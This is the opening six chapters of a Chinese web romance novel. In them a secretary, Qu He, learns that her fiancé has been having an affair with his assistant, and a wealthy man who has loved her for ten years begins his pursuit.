《暗恋十年,庄先生他藏不住了》
第1章 恋爱七年,出轨四年
她十八岁那年,我坐在大学礼堂最后一排,看着她踮脚在新生墙上写下自己未来的梦想。
她二十一岁那年,我坐在她常去的咖啡厅,看着她捧着花一束花冲进另一个男人的伞下。
她二十七岁这年,我亲手把她未婚夫出轨的视频发到了她邮箱,看着她在婚纱店里,红着眼撞进我的怀里。
她爱过别人,没关系。
她忘记过我,也没关系。
十年蓄谋已久,最后她只会是我的妻子。
———
发现钱昭野出轨的时候,曲荷正在用他的手机回复工作消息。
手指一滑,误触隐藏图标,屏幕瞬间切换,壁纸是钱昭野和另一个女人的亲密合照。
这个女人曲荷并不陌生,是三个月前刚调到总经办的乔眠。
照片上钱昭野亲吻女人额头的姿势,如此虔诚,如此柔情。
恋爱七年,他大方交出手机密码,坦然说“随便查”,原来是因为手机有双系统。
曲荷抖着手翻着聊天记录,两人最早聊天的时间是在四年前,而最新一条聊天是在半个小时前:
乔眠:【亲爱的,你说是她穿婚纱好看,还是我穿红裙性感?】
钱昭野:【红裙晚上穿给我看。】
乔眠:【哼。才不穿给你看呢,这是对你早上亲那个老女人的惩罚。】
钱昭野:【你和她比什么?她整天板着张脸,刻板无趣,男人一见到就会性冷淡,不然我也不会七年都没碰过她一次。】
乔眠:【油嘴滑舌,那你明天不许陪她去试婚纱!】
钱昭野:【都听你的。】
曲荷视线模糊了一瞬,屏幕上的字字句句在这一刻像是化作了一个个诡异的字符,死死掐住了她的喉咙。
早上喝的那口凉粥在胃里翻涌着,不断向上涌。
“老女人...”
“刻板无趣...”
“七年都没碰过她一次...”
每一个字都像把锋利的刀,狠狠捅向她的心脏,再残忍的搅动,剜心割肉...
曲荷鼻子酸得发涩,明明他们马上就要结婚了啊.....
五年前她刚大学毕业就被钱昭野带到公司。
当时他吻着她的指尖说:“阿荷,公司刚起步,你先来做我的秘书,等稳定了再继续创作,这样我们也能天天在一起了。”
那时的曲荷刚从陶瓷艺术系毕业,裙摆上还沾着未干的陶泥,可她却毫不犹豫点头。
可是一等就是五年。
五年来,她收起所有鲜艳的裙子,穿上沉闷的黑色职业套装,把长发一丝不苟盘起。
她开始学会在酒桌上挡酒,学会看合作方的眼色,学会把委屈咽回肚子里,只为了那句“阿荷,你不会让我失望的。”
最后她终于如愿成为了所有人眼里的“专业”秘书。
却,也成为了他口中“刻板无趣”的附属品。
本以为自己的付出会换来钱昭野的珍惜,以为自己即将步入婚姻的殿堂马上就能得到幸福,可原来,在他的眼里,自己不过是一个刻板无趣的老女人...
从20岁到27岁,从大二到职场,她认为的七年深情,原来只不过是藏在双系统下的笑话。
七年...最美好的七年...
却被钱昭野的那几个字钉在了耻辱柱上。
“曲秘书?”
脚步声由远及近。
曲荷手指上划退出所有后台,又立刻切回原系统。
她转过身,钱昭野被几个经理拥着正朝她走来,快到跟前时他和边上几人说了几句,众人散开。
曲荷紧紧攥着手机,手指因为用力过度而泛白。
“有事?”
“嗯。”
“进来说。”
两人进了办公室,刚关上门,钱昭野的手就搭了上来。
“怎么了?看起来脸色不太好。”
曲荷不动声色躲开他的触碰,抬头看着他。
男人西装笔挺,眉眼带笑,依旧是那副柔情似水的模样。
多么讽刺啊!
明明半个小时前他还在手机上和乔眠调情,现在却可以做到面不改色和她谈笑暧昧。
曲荷轻轻吐出一口气,努力让声线自然些,“你的手机,刚才帮你回了几条工作消息。”
钱昭野:“就这事?最近公司是有些忙,等过了这段时间带你去度假好不好。”
他走近,自然地伸手接过手机,指尖有意无意擦过她的手背,带着某种亲昵的暗示。
曲荷胃里一阵翻涌,几乎就要当场吐出来。
她强忍着,嘴角扯出一抹僵硬:“不检查一下吗?不怕我偷看了你的小秘密?”
钱昭野低笑一声,眼神宠溺:“阿荷,我说过,只要你想,我的手机随便查。”
随便查?
曲荷盯着他的眼睛,觉得荒谬极了!
他怎么可以这么不要脸?
怎么可以在背叛她之后,还能装出一副深情款款的模样?
简直太无耻,太恶心了!
曲荷恨不得现在就扇他一巴掌,质问他到底有没有心!
钱昭野见她不说话,伸手搂住她的腰低头就要吻下来。
曲荷猛得侧身躲开,指甲狠狠掐进掌心,借着疼痛才勉强让自己冷静下来。
“明天下午五点要去试婚纱,你别忘了。”曲荷能听到自己的声音,藏着不易察觉的颤抖。
钱昭野的表情微妙的僵硬了一瞬,很快笑道:“当然不会忘记。只不过明天有点事要去处理一下,你先去试婚纱,我马上过来。”
说完他还特意找补了下,“最近不是有个说法叫first look,我想把你最美的一面留在婚礼上。”
曲荷死死盯着他的脸,妄图从他脸上找出一丝愧疚。
可,是不是每个出轨的男人都能做到心安理得的撒谎?
她轻声问:“可是阿野,还能有什么事情比我们的婚礼还要重要?”
阿野。
这个称呼,她已经很久没喊了。
五年来,他们之间好像渐渐多了条无形的鸿沟。
她叫他“钱总”,他叫她“曲秘书”,只有在极少数需要她的时候,钱昭野才会像从前那样,温柔的叫她一声“阿荷。”
钱昭野眼底闪过一抹犹豫不决。
但很快,他的表情冷了下来,语气淡漠:“几千万的项目你都能搞定,区区一场婚礼而已,阿荷,你不会让我失望的对吧?”
——“阿荷,你不会让我失望的。”
这句话像是一记响亮的耳光,狠狠扇在了曲荷脸上。
“阿荷,我需要你。”
“阿荷,你不会让我失望的。”
“曲荷,你能不能别总是这么无趣?”
“曲荷,你就不能学学别人,温柔一点吗?”
“曲荷....”
五年来的每一句贬低否定,这一刻全部在脑海里炸开。
曲荷眼眶酸得泛红,心脏抽痛得不行。
她到底还在期待什么?
期待他浪子回头?还是期待他幡然醒悟?
曲荷觉得自己现在像极了一个小丑,一个既可悲又在自欺欺人的小丑。
“当然,钱总,我不会让您失望的。”
“嗯。没什么事就出去吧。”
曲荷轻点了下头,转身离开,脚步虚浮得像是踩在棉花上,借着握住门把手才不让自己露怯。
一冲进卫生间,曲荷就弯腰干呕起来。
早上喝的那碗凉粥混着胃酸涌出喉咙,食道像是被灼烧,又酸又痛...
她死死抓着洗手台边缘,抬手看向镜子。
镜子里的女人脸色惨白,出门前用粉底遮住的黑眼圈又浮了出来,黑色的职业套装衬得她像极了一具被抽干灵魂的躯壳。
这就是她。
钱昭野口中刻板无趣的老女人...
“曲荷,你怎么就活成这样了呢?”
手机传来震动,是婚纱店发来的确认短信。
曲荷回复:【明天会准时到。】
她伸手扯开盘发,一颗颗解开衬衫最上面的纽扣,露出纤细的锁骨,像是解开了某种束缚,她大口大口喘着气...
五年了,这是她第一次违背钱昭野口中的“职业要求。”
第2章 是他,庄别宴
翌日下午,婚纱店。
店员见到曲荷热情地迎了上来,目光却不由自主地往她身后瞟,“今天还是...一个人吗?”
曲荷扯出一个难看的微笑,指甲却深深掐进掌心。
从确定婚期开始到现在,不管是选场地还是试婚纱,定戒指,什么都是她一个人操办。
钱昭野永远只有一句“你决定就好”,好像这场婚礼于他无关,只是她一个人的独角戏。
可明明当初许下承诺,说会给她一个家的人是他啊!
落地镜前,店员正在帮曲荷整理婚纱。
柔光灯下,一字肩缎面鱼尾婚纱闪着光泽,侧腰的镂空设计勾勒出她纤细的腰线。
曲荷怔怔看着镜子里的自己,妆容精致,眼里却无光,像个没有灵魂的人偶。
“曲小姐,这条婚纱简直是为您量身定做的!”店员站在身后不由得赞叹,“您先生看到一定会惊艳的。”
曲荷笑得有点僵硬。
“曲小姐?”店员见她似乎在出神,以为曲荷不喜欢,立刻扬起专业的笑容,“店里昨天新到一条刚从法国运来的婚纱,我这就去拿来给您试试。”
不等曲荷回答,店员已经小跑离开。
曲荷掌心慢慢摩挲着婚纱缎面,无名指上的婚戒在柔光灯下折射出光点。
脑海里回想起钱昭野给她带上婚戒时说的话:“阿荷,我一定会给你一场最完美的婚礼。”
呵。
最完美的婚礼?
连试婚纱都不愿意来的新郎,还算什么最完美的婚礼。
钱昭野,在你给我带上婚戒的那几秒里,想的是我们的未来,还是乔眠?
手机突然震动,一封匿名邮件跳出来,是一段视频。
几乎是在点开视频的同时,血液就直冲大脑。
钱昭野的卡宴后座,乔眠跨坐在他腿上,红裙撩到大腿根,红唇咬着他的耳朵。
“你真不去陪她试婚纱?万一她生气了怎么办?”乔眠的声音甜的发腻,
钱昭野的手往乔眠裙底探了进去,嘴角轻佻,语气陌生:“她不会。”
乔眠的手攀上了他的肩膀,“你就这么肯定?”
“反正她傻,我说什么他都信。”
钱昭野嘴角一挑。
“曲荷跟了我七年,她想要的婚礼和名分我已经给她了,把她娶回家里也是为了让她更全心全意为公司出力。让她负责婚礼的事情她求之不得!”
他勾起乔眠下巴吻了上去。
两人唇舌交缠,发出令人作呕的水声。
视频戛然而止,最后定格在钱昭野嘲讽的嘴角。
一滴泪打湿手背,砸在婚纱上,晕开一圈水渍。
什么都是假的!
原来她以为的幸福婚姻,在钱昭野心里是为了扶持公司的筹码。
那些耳鬓厮磨的深情誓言,现在想来全是演技。
看着镜子里穿着婚纱的自己,曲荷觉得讽刺极了!
钱昭野说的没错,她太傻了……
曲荷扯下头纱,踉跄着跑出试纱间,婚纱的鱼尾裙摆绊住了脚,可她却没有停下,脚步匆匆像是逃离了一个可怕的牢笼。
走廊转弯处,店员们的窃窃私语飘进耳朵:
“你们说这个曲小姐怎么次次都是一个人来试婚纱?她老公可是一次都没陪她来过,连电话视频都不见得打来一次。”
“该不会是...小三吧?逼婚的那种..我最近看到不少...”
“可别说了,她也怪可怜的....”
曲荷脚步顿住,胸腔似乎被某只无名的手掐住,每一次呼吸都是那么无力,好像快要窒息。
原来,在旁人眼里,她居然成为了一个可怜的第三者。
七年的青春,换来的居然是这样的结果。
她麻木的转头往回走,脑袋空空,婚纱的鱼尾裙摆缠住脚踝,来不及反应身体就彻底失去平衡。
即将倒地瞬间,一双手臂横空出现,稳稳揽住了她的腰,天旋地转后,她跌进一个坚实的胸膛。
雪松气息瞬间笼罩下来,将她包围。
曲荷抬头,对上一双深邃如墨的眼睛。
是他。
北城名门庄家的掌权人。
庄别宴。
北城庄氏,百年名门,权倾商政两界。
而这一代的掌权人庄别宴更是被誉为“庄家玉树,不敢玷污”的传奇人物。
冷静自持,喜怒不形于色,商场手段凌厉却从不落人口实。
且不说他皮囊出众,举手投足间皆是矜贵,最令人敬畏的是他那近乎苛刻的自律以及庄家三百二十一条家规的约束。
只要谈到庄别宴,谁人不知他克己复礼,端方守正,不沾烟酒,不近女色,他太完美了,完美到令人不敢亵渎。
无论是什么时候,只要是他出现的场合,西装永远一丝不苟,领带永远端正严谨,连袖口上的纹饰都遵循着庄家祖制。
可越是如此,越是引得北城名媛千金趋之若鹜,表白数不胜数。
只是庄别宴虽已二十九,却依旧孑然一身,好似他天生就该是高岭之花,不容沾染半分凡尘。
曲荷直直看着他的双眼,这双沉静如潭的琥珀色双眸,究竟会为谁掀起一丝波澜....
“小心。”
男人温润的声音像羽毛轻轻扫过耳畔,曲荷骤然回神,这才意识到两人现在的姿势有多暧昧。
她的手掌心正贴在他胸膛前,隔着西装外套都能感受到他的肌肉线条,两人距离近得都能数清他的睫毛。
庄别宴的手牢牢搂着她的腰,掌心贴在腰间镂空处的肌肤上,温度逐渐贴合,烫得她心尖一颤。
庄别宴今日一如既往穿着黑色剪裁得体的西装三件套,领口处的暗纹金色领针在柔光灯下低调闪烁。
他薄唇紧抿成直线,低头微微蹙眉看着她,目光在触到她泛红的眼尾时喉结微微滚动。
曲荷脸颊发烫,他是不是也听到了店员的对话。
是不是也以为她是个...小三。
在庄别宴端方如玉的二十九年人生里,听到那些话会不会觉得脏了耳朵。
曲荷慌忙起身,“谢...谢谢庄总。”却因为太着急,还没站稳又被婚纱裙摆托住脚步,踉跄一下往边上摔去。
好在庄别宴还未松手,长臂一伸又将她稳稳扶住。
他的指腹若有似无擦过曲荷腰间,让她不由颤栗。
“站稳了,曲小姐。”
庄别宴怎么知道她的名字?
曲荷正欲开口,就听到耳边传来一声厉呵:“你们在干什么?”
第3章 婚房里的“惊喜”
钱昭野站在不远处,脸色阴沉得可怕。
曲荷从庄别宴怀里离开站稳,她低头整理了下婚纱,没看见庄别宴在看到钱昭野时,眼里一闪而过的冷冽。
钱昭野大步上前,一把抓住曲荷的手腕拉向身后。
他的目光在触及到庄别宴时猛地顿住,再次开口已全然没有刚才的嚣张:“庄..庄总?您怎么在这?”
庄别宴微微颔首,慢条斯理整理了下袖口,目光淡淡扫过钱昭野抓着曲荷的手。
“曲小姐。”他看向曲荷,嗓音低沉,“不适合自己的,还是趁早换掉为好。”
曲荷一愣,顺着他的目光看去,是长出一截的婚纱裙摆。
这条婚纱虽美,可终究不适合自己。
钱昭野脸色有些难看,这几年他去哪不是被人捧着拥着,还第一次跟人打招呼没回应的。
他庄别宴不就仗着是名门出身,有什么好神气的。
他手上的力道不自觉加大,根本没有在意曲荷的手腕上已经泛起红痕。
“庄总,我未婚妻不懂事,让您见笑了。”
庄别宴这才看向他,语气礼貌却疏离:“看来钱总已经公事繁忙到只能让未婚妻一个人试婚纱。”
这话听着钱昭野脸一阵青一阵白,曲荷被他攥得倒吸一口冷气,扭动手腕想挣脱。
气氛凝固到极点。
“钱总。”庄别宴的声音冷了下来,“对待心上人,还是小心些为好。”
曲荷心一跳。
庄别宴是在帮她说话?
他是没有听到刚才店员说的话,还是....
钱昭野脸色更难看了,却不敢反驳只好悻悻松开手。
曲荷按摩着手腕,抬头直视庄别宴的眼睛,那里面似乎藏着一丝她读不懂的情绪。
门店经理匆匆赶来,“庄先生,您要的东西已经准备好了。”
她恭敬地引着庄别宴往里间走。
庄别宴朝两人颔首告别,擦肩而过时,袖口轻轻擦过曲荷掌心,只一瞬,很快消失。
他的身影消失在走廊尽头,钱昭野掰正曲荷肩膀,语气满是猜忌:“你什么时候认识的庄别宴?”
曲荷望着这个她爱了七年的男人,突然觉得无比陌生。
他的领带歪斜,西装外套上还沾着不易察觉的红痕,和视频里乔眠的口红颜色一模一样。
似乎是意识到自己的语气有些冒犯,他伸手想抚摸她的脸,“我只是太担心你了。”
曲荷歪头躲开,“你不是有事吗?怎么突然来了。”
钱昭野表情有一瞬间僵硬:“还有什么事情比陪你试婚纱更重要?不是想给你个惊喜吗?”
曲荷看着他表演出来的关心,胃里翻涌着恶心。
究竟是什么时候起,他开始变得撒谎成性。
“婚纱定好了吗?这条很适合你。”钱昭野意味深长地扫了眼曲荷镂空的腰线。
曲荷闭了下眼,或许是店里灯光太亮了,照得她眼睛发酸生疼,侧过身子避开和他的接触,“我累了。”
“好。那我送你回去。”
曲荷换下婚纱,走向大门。
在经过转角处的镜面时,看见庄别宴站在二楼围栏处,眼睛紧紧追随着她。他似乎并不意外自己会被发现,见曲荷回头也只是淡淡一笑。
一想到今天自己的落魄都被他尽收眼底,曲荷嘴角扯出一个礼貌微笑,加快步伐离开了。
走出婚纱店,钱昭野殷勤地拉开卡宴副驾驶门,一脸温柔:“上车吧,我送你回去。”
曲荷钉在原地,盯着眼前这辆熟悉的卡宴,脑袋里浮现出刚才视频里他和乔眠在车上纠缠的画面。
他怎么敢!
这辆车已经脏了,连带着空气里都飘着令人作呕的气息。
曲荷看着他一副深情款款的模样,抓着包带的手攥得发白,她努力克制着情绪才没有揭开他脸上的面具。
钱昭野见她愣在原地,伸手去牵她:“怎么了?快上车吧。”
曲荷后退一步,“我自己开车了。”
钱昭野脸色微变,很快又挂上宠溺的微笑:“好,那晚上回婚房吃饭吧,给你准备了惊喜。”
“惊喜?”曲荷问。
还有什么惊喜能够比得上这两天发生的事?
看着他脸上虚假的温柔,曲荷只觉得心脏像是被刀一点点割开。
七年了,她怎么今天才发现,他的深情竟然这么虚伪!这么廉价!
两人前后脚回了西山半岛。
她和钱昭野的婚房就买在这里。
刚进门,曲荷就闻到一股淡淡的玫瑰花香。
下一秒,钱昭野捧着一束卡布奇诺玫瑰走到她面前,满脸深情:“阿荷,开心吗?”
曲荷手指死死掐进掌心,指甲几乎就要嵌进肉里。
卡布奇诺玫瑰。
七年前,钱昭野送给她的第一束花就是这个。
那时他捧着花,眼里都是她:“阿荷,你是我在这个世上,独一无二的玫瑰。”
可现在,这束玫瑰却像一记耳光,狠狠扇在她脸上。
独一无二?
那乔眠算什么?
视频里的缠绵喘息算什么?
婚纱店员窃窃私语的怜悯又算什么?
钱昭野:“知道这是你最喜欢的花,今天特意去花店买的。”
曲荷盯着面前的花,喉咙发紧,眼眶又酸又涨,却硬生生忍住了眼泪。
花很美,但不是她喜欢的。
从他们交往的第一个月开始,曲荷就告诉过钱昭野自己喜欢的花是粉荔枝。
可是后来的每个节日钱昭野送来的永远都是卡布奇诺。
第一次收到的时候,曲荷还笑着和他说“你记错了,我喜欢的是粉荔枝。”
当时钱昭野还解释“对不起,两种花长得太像了,下次我一定不会搞错。”
可是第二次,同样的情况再次发生。
那时曲荷还在心里帮他开脱,男生嘛,分不清花的品种很正常,还特意带他去了花店认清两种花的区别。
第三次,当那束花再次出现在眼前时,曲荷只是沉默地接过来。
第四次,第五次,第六次....
她再也找不到任何理由,也不想找了。
一阵尖锐的疼痛从心尖往胸腔蔓延。
曲荷深吸一口气,“这就是你说的惊喜吗?”
钱昭野:“喜欢吗宝贝?这段日子你忙着公司的事情辛苦了。”
曲荷心里被气笑了。
她怎么之前没发现钱昭野这么不要脸呢?
现在想想好像每次他的玫瑰花和甜言蜜语都是在自己忙完公司项目之后,这算什么?
扇个巴掌又给颗甜枣吗?
用廉价又虚伪的深情和一束她不喜欢的玫瑰花,让她更尽心尽力为公司卖命?
钱昭野见她没反应,以为她被感动了,笑着把花塞进她怀里,手臂顺势揽上她的腰。
他的目光不受控地曲荷身上流转。
刚才婚纱店里那截腰线似乎还在眼前晃动。
钱昭野喉结上下滚动了一下,一股燥热涌起。
曲荷每天把自己裹在刻板黑色的职业套装里,他都快忘记其实曲荷是很漂亮的。
不同于乔眠那种娇艳外放的漂亮,是一种需要用心才能发现的漂亮,清冷又坚韧。
只是那套古板的衣服把她原本身姿和光彩都封印了。
七年前,他就是被她穿着裙子的样子吸引,只可惜...
一股掺杂着占有欲和新鲜感的冲动涌了上来,钱昭野的手亲昵地搂住曲荷略带僵硬的肩膀,指尖暧昧地在她耳边摩挲了两下。
他低头凑向她耳边,声音带着浓浓的欲:“阿荷,你穿婚纱的样子..很美。”
说完他顿了顿,全然没发现怀里人紧绷的身体,“以后不要再穿那身老套的职业装了,我更喜欢你穿裙子的样子。”
他的语气轻快,甚至还带着一种慷慨的施舍,“你把自己打扮得漂漂亮亮,我看着也舒心,对吧。”
曲荷:“....”
第4章 真是好大一个“惊喜”
曲荷的身体彻底僵硬。
只觉得一股寒气从脚底升起,直冲天灵盖,身体里所有的血液和神经系统瞬间被冻结。
钱昭野...刚刚在说什么?
曲荷慢慢抬头,看着这张近在咫尺,她爱了七年的脸庞。
这张她最熟悉的脸上,在这一刻,带着一种理所当然的微笑和肆意露骨的打量目光,似乎在对她进行一种“审美改造”。
失望。
是无尽的失望。
不要再老套的职业装?
要穿漂亮的裙子?
他看着更舒心?
他说的每一个字都化成了淬了毒的刀,狠狠地扎向了自己胸口。
曲荷张了下唇,可胸口像是被堵了一口气,发不出一点声音。
她只能在心底无声地呐喊!
是我天生喜欢穿你口中的“老套”职业装吗?
是我不喜欢穿漂亮的裙子吗?
钱昭野...你是不是忘了!
过去的五年里,有无数次我穿着高跟鞋和职业装陪你应酬到半夜,那个时候你说的是:“阿荷真厉害,穿得像个女王,那些人都不敢小瞧你!”
而现在....
你用着轻飘飘的语气,用着施舍的态度,一遍又一遍嫌弃我穿着古板,嫌弃我不够漂亮,还要求我穿上裙子来取悦你!
这简直是天底下最残忍,最荒谬的笑话!
钱昭野,你到底有没有心!
曲荷看着他脸上虚伪的笑容,只觉得无比恶心!
换做平时,钱昭野定能发现曲荷情绪的不对劲,但是现在他满脑子都是刚才婚纱店的那个场景。
他挑起曲荷的下巴,凑近:“阿荷,我想要你...”
曲荷只觉得浑身发冷,他喷在自己脸上的呼吸,像一条毒蛇在身体里钻。
她猛地偏开头,把花狠狠扔回他怀里,这突如其来的一下,让钱昭野一个踉跄。
“我去上个卫生间。”
钱昭野被她的反应弄得一脸懵,任凭哪个男人在这个时候被打断都不好受,怒气已经挂上脸,但很快又露出包容的笑。
他揉了揉曲荷肩膀,“好,那我在卧室等你。”
曲荷几乎是逃进卫生间,在反锁上门后,双手撑在洗手台上大口喘息。
她打开水龙头,任由水流冲刷着双手,她用力揉搓着皮肤,可怎么也洗不掉刚才钱昭野在她身上留下的触感。
他的气息,他的触碰,他的虚伪...
镜子里映出她惨白的脸,嘴唇不知何时被她咬出一道深深的血痕。
她该怎么办?
这时,曲荷余光一瞥,看见了镜柜下面露出一截突兀的黑色。
一股不详的预感涌上心头。
她下意识屏住呼吸,颤抖着伸出手慢慢打开了那扇镜柜门。
镜柜门后是一条被揉成团的黑丝。
大腿根部被撕开一道裂口,带着不言而喻的情欲!
曲荷大脑“嗡”的一声,一片空白!
这条黑丝不是她的!
她从来不穿这种款式!
可是,这个婚房,除了她,只有一个人有钥匙!
曲荷死死攥着那条黑丝,大口大口喘着气,胸膛剧烈起伏,心脏像是被什么东西疯狂撕扯。
钱昭野!他带乔眠来过这里!
“阿荷,以后你就是这个房子,唯一的女主人!”三年前钱昭野单膝跪地,把钥匙放在她掌心时的场景历历在目。
可现在那些所谓的海誓山盟,在这一刻却变成了世上最恶毒的诅咒!
钱昭野,他背叛了他们的爱情,更践踏了她的尊严。
他带着别的女人来了他们的婚房!
来了这个她精心布置,一点一点看着装修起来的婚房里!
他们在哪里做过?
是客厅那条那亲自挑选的羊毛地毯上?钱昭野曾在那里抱着他说要一起看一辈子电影。
还是在厨房的大理石台面上?那个他曾经笨拙地给她煮过一碗生日鸡蛋面的地方。
又或者..是在那张他们一起挑选的婚床上?
那张她无数次想象着未来他们会相拥而眠,一起孕育新生命的地方。
胃里一阵翻江倒海,曲荷再也抑制不住心里的恶心,趴在洗手台上开始干呕。
可是除了胃酸却什么也吐不出来....
苦涩灼烧着喉咙。
好脏!
这间房子好脏!
空气好脏!
他们碰过的东西好脏!
所有的一切都好脏!
曲荷像是被烫到一样,猛地把手里的黑丝扔了出去。
身体不受控地往后退,直到后背重重撞上门板。
那段他和乔眠在车里苟且的视频...
那条充满情欲,无比醒目的黑丝....
无数个场景在眼前轮换跳转。
曲荷眼神空洞的像口干涸千年的枯井,无尽的恶心和屈辱将她紧紧包围。
当视线聚焦到地上的黑丝时,她踉跄着跑到镜柜前,从一堆物品里翻出一把剪刀。
她毫不犹豫抓起剪刀,又重新捡起那条令人作呕的黑丝,双手剧烈地颤抖着。
剪刀狠狠落下,发出刺耳的撕裂声。
一下又一下,曲荷没有停下手上的动作。
好像只要这样,她就可以把他们在这间房子里留下的东西全部消除。
泪水模糊了她的视线,苦涩中夹杂着绝望和痛苦。
像是发泄般,她把剪刀连带着黑丝狠狠甩了出去。
一阵剧痛从指尖传来。
左手食指被划出一道口子,鲜红的血珠止不住往外冒,滴在了米白的瓷砖上。
疼痛和鲜血让她得到了清醒,可刺骨的冷却久久不散。
就在这时,敲门声响起。
钱昭野故作温柔的声音隔着门板传来,还夹着几分不耐烦和情欲催促:“宝贝,好了吗?别让我等太久....”
这声音,像一桶滚烫的热油,浇在了曲荷的心头。
这样的话,这样的场景,在她不知道的日子里,早已发生过千次万次。
她被瞒得好傻啊!
刹那间,所有的痛苦、绝望、愤怒全部被点燃。
这就是她的未婚夫...
这就是她爱了七年的男人...
这就是她以为的“独一无二”...
她该怎么办?
她的七年青春,最好的七年,谁来补偿她?
谁来救救她...
曲荷盯着不远处瓷砖上的剪刀,她慢慢挪步走过去,弯下腰重新握住那把剪刀。
冰冷的金属手柄让她获得了莫名的慰藉。
她站起身,一步步走向那扇隔着虚伪和谎言的门。
隔着门板,曲荷都能想象到他脸上虚伪的笑容。
剪刀的尖端已经抵在了门板上,那是门外钱昭野心脏的位置。
握着剪刀的指关节逐渐泛白,一个疯狂的念头在脑海里疯狂叫嚣。
用这把剪刀,狠狠捅进钱昭野的心脏!
看看他的心到底是什么颜色的。
是红色,还是早已被谎言和背叛腐蚀,已经变成像烂泥一样的黑色!
空气安静得可怕,只剩下她急促又压抑的呼吸声,以及门外男人再次响起的敲门声。
良久,曲荷慢慢握住了门把手...
第5章 你在怀疑我?
钱昭野在外面等得有点不耐烦了。
他去阳台抽了支烟,猩红一点已经燃到尽头。
夜风微起,眼里满是烦躁。
手机提示音响起,他点开盯着聊天框里乔眠发来的照片,一双被黑色丝袜包裹的长腿。
“啧。”他烦躁地掐灭烟头。
不知为何,他现在对乔眠倒是没了兴致,索然无味!
下午婚纱店里曲荷腰间那颗若隐若现的红痣在脑海里怎么也散不去。
得不到的永远在骚动。
可乔眠...
沉默一会儿,他手指飞快在敲下键盘回复:【等我,我迟点过来。】
暂时稳下乔眠后,他快速切回主系统。
想到今晚即将拥有曲荷,他心里莫名欣喜。
钱昭野看了眼时间,已经快过去十分钟,曲荷还在卫生间没有出来,他皱了下眉,走向卫生间,抬手敲门。
“宝贝,好了吗,别让我等太久...”
门内寂静无声。
可钱昭野却觉得一阵莫名的寒意顺着脊背爬了上来。
就在他再次敲门时,门把手一声轻响,曲荷反手关上门走了出来。
钱昭野立刻挂上温柔的笑,牵住她的手,“怎么这么久,我都担心了。”
曲荷忍住抽回手的恶心冲动,任由他牵着走向卧室,却没有丝毫回应,钱昭野也没有察觉到她冷如冰的手心。
“要不要喝点酒?还是看电影?我们很久没有...”他的声音低沉,手指摩挲着她的手腕,带着刻意的暧昧。
曲荷看着他走进卧室关上房门,目光环视了一圈这个倾注了她所有心血的房子,这一刻觉得无比心寒,无比恶心。
钱昭野察觉到她的出神,有点不悦,却压下火气,拉过他另一只手。
指腹传来异样,低头一看,发现曲荷左手食指上贴着一块创可贴。
“什么时候受伤的?痛不痛?”他眉头紧蹙,小心握住她的手,眼里满是心疼,好像这个小小的伤口是件天大的事情。
曲荷:“白天在公司不小心割到了。”
钱昭野佯装生气:“阿荷,以后这些危险的事情让别人去做。我说过好几次了,你是来享福的,你受伤我会心疼的。”
说着,他伸手想抚摸她的脸。
曲荷微微低头避开他的触碰,在他看不见的地方,嘴角勾起一抹嘲讽。
享福?
这福气谁爱要谁要!
钱昭野,你但凡用点心,但凡能把你费尽心思撒谎的心思分出一点,都能发现这个伤口在她进卫生间前是没有的。
可是,你根本就没有心。
钱昭野显然有点急切难耐,手上落了空后直接低头吻了下来。
曲荷听着他粗重的呼吸,强忍住推开他的冲动,“婚房里没有…”
“柜子里有,再说妈不是一直都想要个孙子吗?”
眼看着他的唇即将贴上。
曲荷再也忍不住,猛地推开他,“我想先喝点红酒。”
钱昭野喉结剧烈滚动两下,强压下欲望,扯出一抹笑:好,我去拿,你等我一下。”
他离开后,曲荷用袖口狠狠搓着刚才被他触碰过的皮肤,直到见红才停下。
钱昭野,你所谓的“柜子里有”,是准备和谁用的?又或者说是和谁用过?
如果是平时,以钱昭野的精明,肯定早就察觉到她刚才的试探和话里的破绽,可偏偏他早已被情欲蒙蔽了眼。
曲荷死死咬住下唇,任由血腥味在舌尖蔓延。
太讽刺了...
这时,钱昭野放在床上的手机屏幕亮起,微信聊天框弹了出来。
曲荷鬼使神差地走了过去,拿起手机,解锁。
是乔眠发来的工作消息:【钱总,您需要的资料已经收集完毕,等您验收。】
曲荷盯着这条看似平常,却毫无厘头的工作消息,不知想到什么,她点开隐藏图标,切换到另一个系统。
几乎是在同时,乔眠的消息就弹了出来:【钱总,等您验收~】
她点开那个写着一的小圆红点,聊天框里露骨的消息和照片映入眼帘。
是乔眠性感的自拍,是酒店的定位分享,还有钱昭野十分钟前回复的那句调情的话。
“原来如此...”曲荷喃喃道。
原来那些曾经她帮钱昭野回复消息时看到的那些“工作消息”,那些本以为是再正常不过的对话,原来都是他们用来调情的方式。
他们就这样,在她的眼皮子底下,用最隐秘,最明目张胆,最刺激的方式来背叛她!
脚步声逐渐清晰。
曲荷快速滑动聊天框把消息变成未读,又切回原系统。
钱昭野拿着醒酒器荷两个就被走了进来,在看到曲荷手上的手机时,眼神闪烁了一下。
“怎么看我手机了?”他语气故作轻松,可曲荷却听出了几分紧张。
“刚才你手机来了几条消息,我帮你看了下。”曲荷说着把手机递给他。
钱昭野倒了两杯红酒,走上前结果手机。
解锁屏幕后看了眼消息,微不可察地吐了口气。
曲荷没错过他这个小动作。
“乔助理很敬业,怪不得你会把她调到总经办。”
钱昭野关上手机放进口袋坐下,“昨天让她查了些资料,至于岗位调动是人事部的安排,她长什么样我都不清楚。”
他说得轻描淡写,好像在谈论一个无关紧要的陌生人。
曲荷淡淡开口:“是吗。”
钱昭野的声音突然提高,像是在用这种方式掩饰自己的心虚,“你在怀疑我?”
曲荷无法违背自己的良心说出那句‘没有。’
她看向钱昭野,眼神冷得像在看一个小丑。
钱昭野被她的眼神刺到了,扯松领带,声音愈发尖锐,连额头处的青筋都冒了出来。
“曲荷,你能不能不要老是这么疑神疑鬼?你这样的态度会让我很不舒服,让我觉得自己没有被信任,让我觉得很累!”
曲荷依旧静静地看着他蹦跶,良久,才终于开口:“信任?”
她的声音很轻,却莫名让钱昭野僵了一下。
他像是被踩住尾巴的猫,突然跳了起来,“你什么意思?”
声音突然变大,好像在用这种方式掩盖自己的心虚,可眨眼间又像是换了个模样,脸上又挂起了刻薄的笑。
他慢慢走向曲荷,说的每一句话都像一把刀插向她的心口。
“曲荷,这些年我对你的好你是不是从来没有放在心上?当初你说要结婚我立马和你求婚,婚房也是按照你的喜好买,婚纱戒指都是让你一个人说了算,我事事顺着你,你让我做什么我就做什么。你处处管着我,你还有什么不满足的?还是你想让我把公司都送给你?”
第6章 趁人之危
一大段长篇大论说完,钱昭野似乎解了气。
他解开衬衫的纽扣,拿过酒杯猛喝了一大口,“曲荷,你这么强势这么多疑,让我太压抑了。”
空气安静得可怕。
